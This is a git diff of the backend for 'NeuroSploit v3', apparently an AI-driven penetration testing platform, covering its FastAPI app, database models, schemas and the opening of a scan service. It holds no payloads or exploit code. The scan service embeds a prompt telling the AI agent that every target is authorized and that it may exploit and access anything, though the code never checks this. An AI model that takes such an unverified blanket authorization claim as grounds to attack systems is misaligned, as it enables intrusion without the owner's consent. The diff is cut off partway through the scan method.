echo=settings.DEBUG,
future=True
)
# Create async session factory
async_session_maker = async_sessionmaker(
engine,
class_=AsyncSession,
expire_on_commit=False
)
# Alias for background tasks
async_session_factory = async_session_maker
async def get_db() -> AsyncSession:
"""Dependency to get database session"""
async with async_session_maker() as session:
try:
yield session
await session.commit()
except Exception:
await session.rollback()
raise
finally:
await session.close()
async def init_db():
"""Initialize database tables"""
async with engine.begin() as conn:
await conn.run_sync(Base.metadata.create_all)
async def close_db():
"""Close database connection"""
await engine.dispose()
+131
View File
@@ -0,0 +1,131 @@
"""
NeuroSploit v3 - FastAPI Main Application
"""
import asyncio
from contextlib import asynccontextmanager
from fastapi import FastAPI, WebSocket, WebSocketDisconnect
from fastapi.middleware.cors import CORSMiddleware
from fastapi.staticfiles import StaticFiles
from fastapi.responses import FileResponse
from pathlib import Path
from backend.config import settings
from backend.db.database import init_db, close_db
from backend.api.v1 import scans, targets, prompts, reports, dashboard, vulnerabilities, settings as settings_router, agent
from backend.api.websocket import manager as ws_manager
@asynccontextmanager
async def lifespan(app: FastAPI):
"""Application lifespan handler"""
# Startup
print(f"Starting {settings.APP_NAME} v{settings.APP_VERSION}")
await init_db()
print("Database initialized")
yield
# Shutdown
print("Shutting down...")
await close_db()
# Create FastAPI app
app = FastAPI(
title=settings.APP_NAME,
description="AI-Powered Penetration Testing Platform",
version=settings.APP_VERSION,
lifespan=lifespan,
docs_url="/api/docs",
redoc_url="/api/redoc",
openapi_url="/api/openapi.json"
)
# CORS middleware
app.add_middleware(
CORSMiddleware,
allow_origins=settings.CORS_ORIGINS,
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)
# Include API routers
app.include_router(scans.router, prefix="/api/v1/scans", tags=["Scans"])
app.include_router(targets.router, prefix="/api/v1/targets", tags=["Targets"])
app.include_router(prompts.router, prefix="/api/v1/prompts", tags=["Prompts"])
app.include_router(reports.router, prefix="/api/v1/reports", tags=["Reports"])
app.include_router(dashboard.router, prefix="/api/v1/dashboard", tags=["Dashboard"])
app.include_router(vulnerabilities.router, prefix="/api/v1/vulnerabilities", tags=["Vulnerabilities"])
app.include_router(settings_router.router, prefix="/api/v1/settings", tags=["Settings"])
app.include_router(agent.router, prefix="/api/v1/agent", tags=["AI Agent"])
@app.get("/api/health")
async def health_check():
"""Health check endpoint with LLM status"""
import os
# Check LLM availability
anthropic_key = os.getenv("ANTHROPIC_API_KEY", "")
openai_key = os.getenv("OPENAI_API_KEY", "")
llm_status = "not_configured"
llm_provider = None
if anthropic_key and anthropic_key not in ["", "your-anthropic-api-key"]:
llm_status = "configured"
llm_provider = "claude"
elif openai_key and openai_key not in ["", "your-openai-api-key"]:
llm_status = "configured"
llm_provider = "openai"
return {
"status": "healthy",
"app": settings.APP_NAME,
"version": settings.APP_VERSION,
"llm": {
"status": llm_status,
"provider": llm_provider,
"message": "AI agent ready" if llm_status == "configured" else "Set ANTHROPIC_API_KEY or OPENAI_API_KEY to enable AI features"
}
}
@app.websocket("/ws/scan/{scan_id}")
async def websocket_scan(websocket: WebSocket, scan_id: str):
"""WebSocket endpoint for real-time scan updates"""
await ws_manager.connect(websocket, scan_id)
try:
while True:
# Keep connection alive and handle client messages
data = await websocket.receive_text()
# Handle client commands (pause, resume, etc.)
if data == "ping":
await websocket.send_text("pong")
except WebSocketDisconnect:
ws_manager.disconnect(websocket, scan_id)
# Serve static files (frontend) in production
frontend_build = Path(__file__).parent.parent / "frontend" / "dist"
if frontend_build.exists():
app.mount("/assets", StaticFiles(directory=frontend_build / "assets"), name="assets")
@app.get("/{full_path:path}")
async def serve_frontend(full_path: str):
"""Serve frontend for all non-API routes"""
file_path = frontend_build / full_path
if file_path.exists() and file_path.is_file():
return FileResponse(file_path)
return FileResponse(frontend_build / "index.html")
if __name__ == "__main__":
import uvicorn
uvicorn.run(
"backend.main:app",
host=settings.HOST,
port=settings.PORT,
reload=settings.DEBUG
)
+16
View File
@@ -0,0 +1,16 @@
from backend.models.scan import Scan
from backend.models.target import Target
from backend.models.prompt import Prompt
from backend.models.endpoint import Endpoint
from backend.models.vulnerability import Vulnerability, VulnerabilityTest
from backend.models.report import Report
__all__ = [
"Scan",
"Target",
"Prompt",
"Endpoint",
"Vulnerability",
"VulnerabilityTest",
"Report"
]
+61
View File
@@ -0,0 +1,61 @@
"""
NeuroSploit v3 - Endpoint Model
"""
from datetime import datetime
from typing import Optional, List
from sqlalchemy import String, Integer, DateTime, Text, JSON, ForeignKey
from sqlalchemy.orm import Mapped, mapped_column, relationship
from backend.db.database import Base
import uuid
class Endpoint(Base):
"""Discovered endpoint model"""
__tablename__ = "endpoints"
id: Mapped[str] = mapped_column(String(36), primary_key=True, default=lambda: str(uuid.uuid4()))
scan_id: Mapped[str] = mapped_column(String(36), ForeignKey("scans.id", ondelete="CASCADE"))
target_id: Mapped[Optional[str]] = mapped_column(String(36), ForeignKey("targets.id", ondelete="SET NULL"), nullable=True)
# Endpoint details
url: Mapped[str] = mapped_column(Text)
method: Mapped[str] = mapped_column(String(10), default="GET")
path: Mapped[Optional[str]] = mapped_column(Text, nullable=True)
# Parameters
parameters: Mapped[List] = mapped_column(JSON, default=list) # [{name, type, value}]
headers: Mapped[dict] = mapped_column(JSON, default=dict)
# Response info
response_status: Mapped[Optional[int]] = mapped_column(Integer, nullable=True)
content_type: Mapped[Optional[str]] = mapped_column(String(100), nullable=True)
content_length: Mapped[Optional[int]] = mapped_column(Integer, nullable=True)
# Detection
technologies: Mapped[List] = mapped_column(JSON, default=list)
interesting: Mapped[bool] = mapped_column(default=False) # Marked as interesting for testing
# Timestamps
discovered_at: Mapped[datetime] = mapped_column(DateTime, default=datetime.utcnow)
# Relationships
scan: Mapped["Scan"] = relationship("Scan", back_populates="endpoints")
def to_dict(self) -> dict:
"""Convert to dictionary"""
return {
"id": self.id,
"scan_id": self.scan_id,
"target_id": self.target_id,
"url": self.url,
"method": self.method,
"path": self.path,
"parameters": self.parameters,
"headers": self.headers,
"response_status": self.response_status,
"content_type": self.content_type,
"content_length": self.content_length,
"technologies": self.technologies,
"interesting": self.interesting,
"discovered_at": self.discovered_at.isoformat() if self.discovered_at else None
}
+44
View File
@@ -0,0 +1,44 @@
"""
NeuroSploit v3 - Prompt Model
"""
from datetime import datetime
from typing import Optional, List
from sqlalchemy import String, Boolean, DateTime, Text, JSON
from sqlalchemy.orm import Mapped, mapped_column
from backend.db.database import Base
import uuid
class Prompt(Base):
"""Prompt model for storing custom and preset prompts"""
__tablename__ = "prompts"
id: Mapped[str] = mapped_column(String(36), primary_key=True, default=lambda: str(uuid.uuid4()))
name: Mapped[str] = mapped_column(String(255))
description: Mapped[Optional[str]] = mapped_column(Text, nullable=True)
content: Mapped[str] = mapped_column(Text)
# Categorization
is_preset: Mapped[bool] = mapped_column(Boolean, default=False)
category: Mapped[Optional[str]] = mapped_column(String(100), nullable=True) # pentest, bug_bounty, api, etc.
# Parsed vulnerabilities (extracted by AI)
parsed_vulnerabilities: Mapped[List] = mapped_column(JSON, default=list)
# Timestamps
created_at: Mapped[datetime] = mapped_column(DateTime, default=datetime.utcnow)
updated_at: Mapped[datetime] = mapped_column(DateTime, default=datetime.utcnow, onupdate=datetime.utcnow)
def to_dict(self) -> dict:
"""Convert to dictionary"""
return {
"id": self.id,
"name": self.name,
"description": self.description,
"content": self.content,
"is_preset": self.is_preset,
"category": self.category,
"parsed_vulnerabilities": self.parsed_vulnerabilities,
"created_at": self.created_at.isoformat() if self.created_at else None,
"updated_at": self.updated_at.isoformat() if self.updated_at else None
}
+43
View File
@@ -0,0 +1,43 @@
"""
NeuroSploit v3 - Report Model
"""
from datetime import datetime
from typing import Optional
from sqlalchemy import String, DateTime, Text, ForeignKey
from sqlalchemy.orm import Mapped, mapped_column, relationship
from backend.db.database import Base
import uuid
class Report(Base):
"""Report model"""
__tablename__ = "reports"
id: Mapped[str] = mapped_column(String(36), primary_key=True, default=lambda: str(uuid.uuid4()))
scan_id: Mapped[str] = mapped_column(String(36), ForeignKey("scans.id", ondelete="CASCADE"))
# Report details
title: Mapped[Optional[str]] = mapped_column(String(255), nullable=True)
format: Mapped[str] = mapped_column(String(20), default="html") # html, pdf, json
file_path: Mapped[Optional[str]] = mapped_column(Text, nullable=True)
# Content
executive_summary: Mapped[Optional[str]] = mapped_column(Text, nullable=True)
# Timestamps
generated_at: Mapped[datetime] = mapped_column(DateTime, default=datetime.utcnow)
# Relationship
scan: Mapped["Scan"] = relationship("Scan", back_populates="reports")
def to_dict(self) -> dict:
"""Convert to dictionary"""
return {
"id": self.id,
"scan_id": self.scan_id,
"title": self.title,
"format": self.format,
"file_path": self.file_path,
"executive_summary": self.executive_summary,
"generated_at": self.generated_at.isoformat() if self.generated_at else None
}
+88
View File
@@ -0,0 +1,88 @@
"""
NeuroSploit v3 - Scan Model
"""
from datetime import datetime
from typing import Optional, List
from sqlalchemy import String, Integer, Boolean, DateTime, Text, JSON
from sqlalchemy.orm import Mapped, mapped_column, relationship
from backend.db.database import Base
import uuid
class Scan(Base):
"""Scan model representing a penetration test scan"""
__tablename__ = "scans"
id: Mapped[str] = mapped_column(String(36), primary_key=True, default=lambda: str(uuid.uuid4()))
name: Mapped[Optional[str]] = mapped_column(String(255), nullable=True)
status: Mapped[str] = mapped_column(String(50), default="pending") # pending, running, completed, failed, stopped
scan_type: Mapped[str] = mapped_column(String(50), default="full") # quick, full, custom
recon_enabled: Mapped[bool] = mapped_column(Boolean, default=True)
# Progress tracking
progress: Mapped[int] = mapped_column(Integer, default=0)
current_phase: Mapped[Optional[str]] = mapped_column(String(50), nullable=True) # recon, testing, reporting
# Configuration
config: Mapped[dict] = mapped_column(JSON, default=dict)
# Custom prompt (if any)
custom_prompt: Mapped[Optional[str]] = mapped_column(Text, nullable=True)
prompt_id: Mapped[Optional[str]] = mapped_column(String(36), nullable=True)
# Authentication for testing (IMPORTANT: Use responsibly with authorization)
auth_type: Mapped[Optional[str]] = mapped_column(String(50), nullable=True) # none, cookie, header, basic, bearer
auth_credentials: Mapped[Optional[dict]] = mapped_column(JSON, nullable=True) # Stores auth data securely
custom_headers: Mapped[Optional[dict]] = mapped_column(JSON, nullable=True) # Additional HTTP headers
# Timestamps
created_at: Mapped[datetime] = mapped_column(DateTime, default=datetime.utcnow)
started_at: Mapped[Optional[datetime]] = mapped_column(DateTime, nullable=True)
completed_at: Mapped[Optional[datetime]] = mapped_column(DateTime, nullable=True)
# Error handling
error_message: Mapped[Optional[str]] = mapped_column(Text, nullable=True)
# Statistics (updated during scan)
total_endpoints: Mapped[int] = mapped_column(Integer, default=0)
total_vulnerabilities: Mapped[int] = mapped_column(Integer, default=0)
critical_count: Mapped[int] = mapped_column(Integer, default=0)
high_count: Mapped[int] = mapped_column(Integer, default=0)
medium_count: Mapped[int] = mapped_column(Integer, default=0)
low_count: Mapped[int] = mapped_column(Integer, default=0)
info_count: Mapped[int] = mapped_column(Integer, default=0)
# Relationships
targets: Mapped[List["Target"]] = relationship("Target", back_populates="scan", cascade="all, delete-orphan")
endpoints: Mapped[List["Endpoint"]] = relationship("Endpoint", back_populates="scan", cascade="all, delete-orphan")
vulnerabilities: Mapped[List["Vulnerability"]] = relationship("Vulnerability", back_populates="scan", cascade="all, delete-orphan")
reports: Mapped[List["Report"]] = relationship("Report", back_populates="scan", cascade="all, delete-orphan")
def to_dict(self) -> dict:
"""Convert to dictionary"""
return {
"id": self.id,
"name": self.name,
"status": self.status,
"scan_type": self.scan_type,
"recon_enabled": self.recon_enabled,
"progress": self.progress,
"current_phase": self.current_phase,
"config": self.config,
"custom_prompt": self.custom_prompt,
"prompt_id": self.prompt_id,
"auth_type": self.auth_type,
"auth_credentials": self.auth_credentials, # Careful: may contain sensitive data
"custom_headers": self.custom_headers,
"created_at": self.created_at.isoformat() if self.created_at else None,
"started_at": self.started_at.isoformat() if self.started_at else None,
"completed_at": self.completed_at.isoformat() if self.completed_at else None,
"error_message": self.error_message,
"total_endpoints": self.total_endpoints,
"total_vulnerabilities": self.total_vulnerabilities,
"critical_count": self.critical_count,
"high_count": self.high_count,
"medium_count": self.medium_count,
"low_count": self.low_count,
"info_count": self.info_count
}
+47
View File
@@ -0,0 +1,47 @@
"""
NeuroSploit v3 - Target Model
"""
from datetime import datetime
from typing import Optional
from sqlalchemy import String, Integer, DateTime, ForeignKey
from sqlalchemy.orm import Mapped, mapped_column, relationship
from backend.db.database import Base
import uuid
class Target(Base):
"""Target URL model"""
__tablename__ = "targets"
id: Mapped[str] = mapped_column(String(36), primary_key=True, default=lambda: str(uuid.uuid4()))
scan_id: Mapped[str] = mapped_column(String(36), ForeignKey("scans.id", ondelete="CASCADE"))
# URL details
url: Mapped[str] = mapped_column(String(2048))
hostname: Mapped[Optional[str]] = mapped_column(String(255), nullable=True)
port: Mapped[Optional[int]] = mapped_column(Integer, nullable=True)
protocol: Mapped[Optional[str]] = mapped_column(String(10), nullable=True)
path: Mapped[Optional[str]] = mapped_column(String(2048), nullable=True)
# Status
status: Mapped[str] = mapped_column(String(50), default="pending") # pending, scanning, completed, failed
# Timestamps
created_at: Mapped[datetime] = mapped_column(DateTime, default=datetime.utcnow)
# Relationship
scan: Mapped["Scan"] = relationship("Scan", back_populates="targets")
def to_dict(self) -> dict:
"""Convert to dictionary"""
return {
"id": self.id,
"scan_id": self.scan_id,
"url": self.url,
"hostname": self.hostname,
"port": self.port,
"protocol": self.protocol,
"path": self.path,
"status": self.status,
"created_at": self.created_at.isoformat() if self.created_at else None
}
+120
View File
@@ -0,0 +1,120 @@
"""
NeuroSploit v3 - Vulnerability Models
"""
from datetime import datetime
from typing import Optional, List
from sqlalchemy import String, Integer, Float, Boolean, DateTime, Text, JSON, ForeignKey
from sqlalchemy.orm import Mapped, mapped_column, relationship
from backend.db.database import Base
import uuid
class VulnerabilityTest(Base):
"""Individual vulnerability test record"""
__tablename__ = "vulnerability_tests"
id: Mapped[str] = mapped_column(String(36), primary_key=True, default=lambda: str(uuid.uuid4()))
scan_id: Mapped[str] = mapped_column(String(36), ForeignKey("scans.id", ondelete="CASCADE"))
endpoint_id: Mapped[Optional[str]] = mapped_column(String(36), ForeignKey("endpoints.id", ondelete="SET NULL"), nullable=True)
# Test details
vulnerability_type: Mapped[str] = mapped_column(String(100)) # xss_reflected, sqli_union, etc.
payload: Mapped[Optional[str]] = mapped_column(Text, nullable=True)
# Request/Response
request_data: Mapped[dict] = mapped_column(JSON, default=dict)
response_data: Mapped[dict] = mapped_column(JSON, default=dict)
# Result
is_vulnerable: Mapped[bool] = mapped_column(Boolean, default=False)
confidence: Mapped[Optional[float]] = mapped_column(Float, nullable=True) # 0.0 to 1.0
evidence: Mapped[Optional[str]] = mapped_column(Text, nullable=True)
# Timestamps
tested_at: Mapped[datetime] = mapped_column(DateTime, default=datetime.utcnow)
def to_dict(self) -> dict:
"""Convert to dictionary"""
return {
"id": self.id,
"scan_id": self.scan_id,
"endpoint_id": self.endpoint_id,
"vulnerability_type": self.vulnerability_type,
"payload": self.payload,
"request_data": self.request_data,
"response_data": self.response_data,
"is_vulnerable": self.is_vulnerable,
"confidence": self.confidence,
"evidence": self.evidence,
"tested_at": self.tested_at.isoformat() if self.tested_at else None
}
class Vulnerability(Base):
"""Confirmed vulnerability model"""
__tablename__ = "vulnerabilities"
id: Mapped[str] = mapped_column(String(36), primary_key=True, default=lambda: str(uuid.uuid4()))
scan_id: Mapped[str] = mapped_column(String(36), ForeignKey("scans.id", ondelete="CASCADE"))
test_id: Mapped[Optional[str]] = mapped_column(String(36), ForeignKey("vulnerability_tests.id", ondelete="SET NULL"), nullable=True)
# Vulnerability details
title: Mapped[str] = mapped_column(String(500))
vulnerability_type: Mapped[str] = mapped_column(String(100))
severity: Mapped[str] = mapped_column(String(20)) # critical, high, medium, low, info
# Scoring
cvss_score: Mapped[Optional[float]] = mapped_column(Float, nullable=True)
cvss_vector: Mapped[Optional[str]] = mapped_column(String(100), nullable=True)
cwe_id: Mapped[Optional[str]] = mapped_column(String(50), nullable=True)
# Details
description: Mapped[Optional[str]] = mapped_column(Text, nullable=True)
affected_endpoint: Mapped[Optional[str]] = mapped_column(Text, nullable=True)
# Proof of Concept
poc_request: Mapped[Optional[str]] = mapped_column(Text, nullable=True)
poc_response: Mapped[Optional[str]] = mapped_column(Text, nullable=True)
poc_payload: Mapped[Optional[str]] = mapped_column(Text, nullable=True)
poc_parameter: Mapped[Optional[str]] = mapped_column(String(500), nullable=True) # Vulnerable parameter
poc_evidence: Mapped[Optional[str]] = mapped_column(Text, nullable=True) # Evidence of vulnerability
# Remediation
impact: Mapped[Optional[str]] = mapped_column(Text, nullable=True)
remediation: Mapped[Optional[str]] = mapped_column(Text, nullable=True)
references: Mapped[List] = mapped_column(JSON, default=list)
# AI Analysis
ai_analysis: Mapped[Optional[str]] = mapped_column(Text, nullable=True)
# Timestamps
created_at: Mapped[datetime] = mapped_column(DateTime, default=datetime.utcnow)
# Relationships
scan: Mapped["Scan"] = relationship("Scan", back_populates="vulnerabilities")
def to_dict(self) -> dict:
"""Convert to dictionary"""
return {
"id": self.id,
"scan_id": self.scan_id,
"test_id": self.test_id,
"title": self.title,
"vulnerability_type": self.vulnerability_type,
"severity": self.severity,
"cvss_score": self.cvss_score,
"cvss_vector": self.cvss_vector,
"cwe_id": self.cwe_id,
"description": self.description,
"affected_endpoint": self.affected_endpoint,
"poc_request": self.poc_request,
"poc_response": self.poc_response,
"poc_payload": self.poc_payload,
"poc_parameter": self.poc_parameter,
"poc_evidence": self.poc_evidence,
"impact": self.impact,
"remediation": self.remediation,
"references": self.references,
"ai_analysis": self.ai_analysis,
"created_at": self.created_at.isoformat() if self.created_at else None
}
+29
View File
@@ -0,0 +1,29 @@
# NeuroSploit v3 - Backend Requirements
fastapi>=0.109.0
uvicorn[standard]>=0.27.0
pydantic>=2.5.0
pydantic-settings>=2.1.0
# Database
sqlalchemy[asyncio]>=2.0.0
aiosqlite>=0.19.0
# HTTP Client
aiohttp>=3.9.0
# LLM APIs
anthropic>=0.18.0
openai>=1.10.0
# Utilities
python-multipart>=0.0.6
python-jose[cryptography]>=3.3.0
# Report Generation
jinja2>=3.1.0
weasyprint>=60.0; platform_system != "Windows"
# Development
httpx>=0.26.0
pytest>=7.4.0
pytest-asyncio>=0.23.0
+37
View File
@@ -0,0 +1,37 @@
from backend.schemas.scan import (
ScanCreate,
ScanUpdate,
ScanResponse,
ScanListResponse,
ScanProgress
)
from backend.schemas.target import (
TargetCreate,
TargetResponse,
TargetBulkCreate,
TargetValidation
)
from backend.schemas.prompt import (
PromptCreate,
PromptUpdate,
PromptResponse,
PromptParse,
PromptParseResult
)
from backend.schemas.vulnerability import (
VulnerabilityResponse,
VulnerabilityTestResponse,
VulnerabilityTypeInfo
)
from backend.schemas.report import (
ReportResponse,
ReportGenerate
)
__all__ = [
"ScanCreate", "ScanUpdate", "ScanResponse", "ScanListResponse", "ScanProgress",
"TargetCreate", "TargetResponse", "TargetBulkCreate", "TargetValidation",
"PromptCreate", "PromptUpdate", "PromptResponse", "PromptParse", "PromptParseResult",
"VulnerabilityResponse", "VulnerabilityTestResponse", "VulnerabilityTypeInfo",
"ReportResponse", "ReportGenerate"
]
+77
View File
@@ -0,0 +1,77 @@
"""
NeuroSploit v3 - Prompt Schemas
"""
from datetime import datetime
from typing import Optional, List
from pydantic import BaseModel, Field
class PromptCreate(BaseModel):
"""Schema for creating a prompt"""
name: str = Field(..., max_length=255, description="Prompt name")
description: Optional[str] = Field(None, description="Prompt description")
content: str = Field(..., min_length=10, description="Prompt content")
category: Optional[str] = Field(None, description="Prompt category")
class PromptUpdate(BaseModel):
"""Schema for updating a prompt"""
name: Optional[str] = None
description: Optional[str] = None
content: Optional[str] = None
category: Optional[str] = None
class PromptParse(BaseModel):
"""Schema for parsing a prompt"""
content: str = Field(..., min_length=10, description="Prompt content to parse")
class VulnerabilityTypeExtracted(BaseModel):
"""Extracted vulnerability type from prompt"""
type: str
category: str
confidence: float
context: Optional[str] = None
class TestingScope(BaseModel):
"""Testing scope extracted from prompt"""
include_recon: bool = True
depth: str = "standard" # quick, standard, thorough, exhaustive
max_requests_per_endpoint: Optional[int] = None
time_limit_minutes: Optional[int] = None
class PromptParseResult(BaseModel):
"""Result of prompt parsing"""
vulnerabilities_to_test: List[VulnerabilityTypeExtracted]
testing_scope: TestingScope
special_instructions: List[str] = []
target_filters: dict = {}
output_preferences: dict = {}
class PromptResponse(BaseModel):
"""Schema for prompt response"""
id: str
name: str
description: Optional[str]
content: str
is_preset: bool
category: Optional[str]
parsed_vulnerabilities: List
created_at: datetime
updated_at: datetime
class Config:
from_attributes = True
class PromptPreset(BaseModel):
"""Schema for preset prompt"""
id: str
name: str
description: str
category: str
vulnerability_count: int
+36
View File
@@ -0,0 +1,36 @@
"""
NeuroSploit v3 - Report Schemas
"""
from datetime import datetime
from typing import Optional, List
from pydantic import BaseModel, Field
class ReportGenerate(BaseModel):
"""Schema for generating a report"""
scan_id: str = Field(..., description="Scan ID to generate report for")
format: str = Field("html", description="Report format: html, pdf, json")
title: Optional[str] = Field(None, description="Custom report title")
include_executive_summary: bool = Field(True, description="Include executive summary")
include_poc: bool = Field(True, description="Include proof of concept")
include_remediation: bool = Field(True, description="Include remediation steps")
class ReportResponse(BaseModel):
"""Schema for report response"""
id: str
scan_id: str
title: Optional[str]
format: str
file_path: Optional[str]
executive_summary: Optional[str]
generated_at: datetime
class Config:
from_attributes = True
class ReportListResponse(BaseModel):
"""Schema for list of reports"""
reports: List[ReportResponse]
total: int
+89
View File
@@ -0,0 +1,89 @@
"""
NeuroSploit v3 - Scan Schemas
"""
from datetime import datetime
from typing import Optional, List
from pydantic import BaseModel, Field
class AuthConfig(BaseModel):
"""Authentication configuration for authenticated testing"""
auth_type: str = Field("none", description="Auth type: none, cookie, header, basic, bearer")
cookie: Optional[str] = Field(None, description="Session cookie value")
bearer_token: Optional[str] = Field(None, description="Bearer/JWT token")
username: Optional[str] = Field(None, description="Username for basic auth")
password: Optional[str] = Field(None, description="Password for basic auth")
header_name: Optional[str] = Field(None, description="Custom header name")
header_value: Optional[str] = Field(None, description="Custom header value")
class ScanCreate(BaseModel):
"""Schema for creating a new scan"""
name: Optional[str] = Field(None, max_length=255, description="Scan name")
targets: List[str] = Field(..., min_length=1, description="List of target URLs")
scan_type: str = Field("full", description="Scan type: quick, full, custom")
recon_enabled: bool = Field(True, description="Enable reconnaissance phase")
custom_prompt: Optional[str] = Field(None, max_length=32000, description="Custom prompt (up to 32k tokens)")
prompt_id: Optional[str] = Field(None, description="ID of preset prompt to use")
config: dict = Field(default_factory=dict, description="Additional configuration")
auth: Optional[AuthConfig] = Field(None, description="Authentication configuration")
custom_headers: Optional[dict] = Field(None, description="Custom HTTP headers to include")
class ScanUpdate(BaseModel):
"""Schema for updating a scan"""
name: Optional[str] = None
status: Optional[str] = None
progress: Optional[int] = None
current_phase: Optional[str] = None
error_message: Optional[str] = None
class ScanProgress(BaseModel):
"""Schema for scan progress updates"""
scan_id: str
status: str
progress: int
current_phase: Optional[str] = None
message: Optional[str] = None
total_endpoints: int = 0
total_vulnerabilities: int = 0
class ScanResponse(BaseModel):
"""Schema for scan response"""
id: str
name: Optional[str]
status: str
scan_type: str
recon_enabled: bool
progress: int
current_phase: Optional[str]
config: dict
custom_prompt: Optional[str]
prompt_id: Optional[str]
auth_type: Optional[str] = None
custom_headers: Optional[dict] = None
created_at: datetime
started_at: Optional[datetime]
completed_at: Optional[datetime]
error_message: Optional[str]
total_endpoints: int
total_vulnerabilities: int
critical_count: int
high_count: int
medium_count: int
low_count: int
info_count: int
targets: List[dict] = []
class Config:
from_attributes = True
class ScanListResponse(BaseModel):
"""Schema for list of scans"""
scans: List[ScanResponse]
total: int
page: int = 1
per_page: int = 10
+92
View File
@@ -0,0 +1,92 @@
"""
NeuroSploit v3 - Target Schemas
"""
from datetime import datetime
from typing import Optional, List
from pydantic import BaseModel, Field, field_validator
import re
class TargetCreate(BaseModel):
"""Schema for creating a target"""
url: str = Field(..., description="Target URL")
@field_validator('url')
@classmethod
def validate_url(cls, v: str) -> str:
"""Validate URL format"""
v = v.strip()
if not v:
raise ValueError("URL cannot be empty")
# Basic URL validation
url_pattern = re.compile(
r'^https?://' # http:// or https://
r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+[A-Z]{2,6}\.?|' # domain
r'localhost|' # localhost
r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' # or ip
r'(?::\d+)?' # optional port
r'(?:/?|[/?]\S+)$', re.IGNORECASE)
if not url_pattern.match(v):
# Try adding https:// prefix
if url_pattern.match(f"https://{v}"):
return f"https://{v}"
raise ValueError(f"Invalid URL format: {v}")
return v
class TargetBulkCreate(BaseModel):
"""Schema for bulk target creation"""
urls: List[str] = Field(..., min_length=1, description="List of URLs")
@field_validator('urls')
@classmethod
def validate_urls(cls, v: List[str]) -> List[str]:
"""Validate and clean URLs"""
cleaned = []
url_pattern = re.compile(
r'^https?://'
r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+[A-Z]{2,6}\.?|'
r'localhost|'
r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'
r'(?::\d+)?'
r'(?:/?|[/?]\S+)$', re.IGNORECASE)
for url in v:
url = url.strip()
if not url:
continue
if url_pattern.match(url):
cleaned.append(url)
elif url_pattern.match(f"https://{url}"):
cleaned.append(f"https://{url}")
if not cleaned:
raise ValueError("No valid URLs provided")
return cleaned
class TargetValidation(BaseModel):
"""Schema for URL validation result"""
url: str
valid: bool
normalized_url: Optional[str] = None
hostname: Optional[str] = None
port: Optional[int] = None
protocol: Optional[str] = None
error: Optional[str] = None
class TargetResponse(BaseModel):
"""Schema for target response"""
id: str
scan_id: str
url: str
hostname: Optional[str]
port: Optional[int]
protocol: Optional[str]
path: Optional[str]
status: str
created_at: datetime
class Config:
from_attributes = True
+72
View File
@@ -0,0 +1,72 @@
"""
NeuroSploit v3 - Vulnerability Schemas
"""
from datetime import datetime
from typing import Optional, List
from pydantic import BaseModel
class VulnerabilityTestResponse(BaseModel):
"""Schema for vulnerability test response"""
id: str
scan_id: str
endpoint_id: Optional[str]
vulnerability_type: str
payload: Optional[str]
request_data: dict
response_data: dict
is_vulnerable: bool
confidence: Optional[float]
evidence: Optional[str]
tested_at: datetime
class Config:
from_attributes = True
class VulnerabilityResponse(BaseModel):
"""Schema for vulnerability response"""
id: str
scan_id: str
test_id: Optional[str]
title: str
vulnerability_type: str
severity: str
cvss_score: Optional[float]
cvss_vector: Optional[str]
cwe_id: Optional[str]
description: Optional[str]
affected_endpoint: Optional[str]
poc_request: Optional[str]
poc_response: Optional[str]
poc_payload: Optional[str]
impact: Optional[str]
remediation: Optional[str]
references: List
ai_analysis: Optional[str]
created_at: datetime
class Config:
from_attributes = True
class VulnerabilityTypeInfo(BaseModel):
"""Information about a vulnerability type"""
type: str
name: str
category: str
description: str
severity_range: str # "medium-critical"
owasp_category: Optional[str] = None
cwe_ids: List[str] = []
class VulnerabilitySummary(BaseModel):
"""Summary of vulnerabilities for dashboard"""
total: int = 0
critical: int = 0
high: int = 0
medium: int = 0
low: int = 0
info: int = 0
by_type: dict = {}
+1
View File
@@ -0,0 +1 @@
# Services package
+763
View File
@@ -0,0 +1,763 @@
"""
NeuroSploit v3 - Scan Service
Orchestrates the entire scan process:
1. AI-powered prompt processing
2. REAL reconnaissance with actual tools
3. AUTONOMOUS endpoint discovery when recon finds little
4. AI-driven vulnerability testing
5. Dynamic analysis based on findings
GLOBAL AUTHORIZATION NOTICE:
This is a homologated penetration testing tool.
All tests are performed with explicit authorization from the target owner.
The AI agent has full permission to test for vulnerabilities.
"""
import asyncio
from datetime import datetime
from typing import Optional, List, Dict, Any
from sqlalchemy.ext.asyncio import AsyncSession
from sqlalchemy import select
from backend.models import Scan, Target, Endpoint, Vulnerability, VulnerabilityTest
from backend.api.websocket import manager as ws_manager
from backend.api.v1.prompts import PRESET_PROMPTS
from backend.db.database import async_session_factory
from backend.core.recon_integration import ReconIntegration, check_tools_installed
from backend.core.ai_prompt_processor import AIPromptProcessor, AIVulnerabilityAnalyzer
from backend.core.vuln_engine.engine import DynamicVulnerabilityEngine
from backend.core.vuln_engine.payload_generator import PayloadGenerator
from backend.core.autonomous_scanner import AutonomousScanner
from backend.core.ai_pentest_agent import AIPentestAgent
# Global authorization message for AI
GLOBAL_AUTHORIZATION = """
AUTHORIZATION NOTICE:
This scan is being performed with explicit authorization from the target owner.
NeuroSploit is a homologated penetration testing tool designed for authorized security assessments.
You have full permission to:
- Test for all vulnerability types
- Use aggressive testing techniques
- Attempt to exploit discovered vulnerabilities
- Access any endpoint or parameter
- Perform authenticated and unauthenticated testing
All testing is legal and authorized. Proceed with comprehensive security assessment.
"""
async def run_scan_task(scan_id: str):
"""Run scan in background with its own database session"""
async with async_session_factory() as db:
service = ScanService(db)
await service.execute_scan(scan_id)
class ScanService:
"""
Service for executing penetration test scans with REAL tools and AI.
Key features:
- Autonomous operation: Tests even when recon finds nothing
- AI-driven: Uses LLM to determine testing strategy
- Comprehensive: Tests for 50+ vulnerability types
- Verbose: Shows exactly what is being tested
"""
def __init__(self, db: AsyncSession):
self.db = db
self.ai_processor = AIPromptProcessor()
self.ai_analyzer = AIVulnerabilityAnalyzer()
self.payload_generator = PayloadGenerator()
self._stop_requested = False
async def execute_scan(self, scan_id: str):
"""Execute a complete scan with real recon, autonomous discovery, and AI analysis"""
try:
# Get scan from database
result = await self.db.execute(select(Scan).where(Scan.id == scan_id))
scan = result.scalar_one_or_none()
if not scan:
await ws_manager.broadcast_error(scan_id, "Scan not found")
return
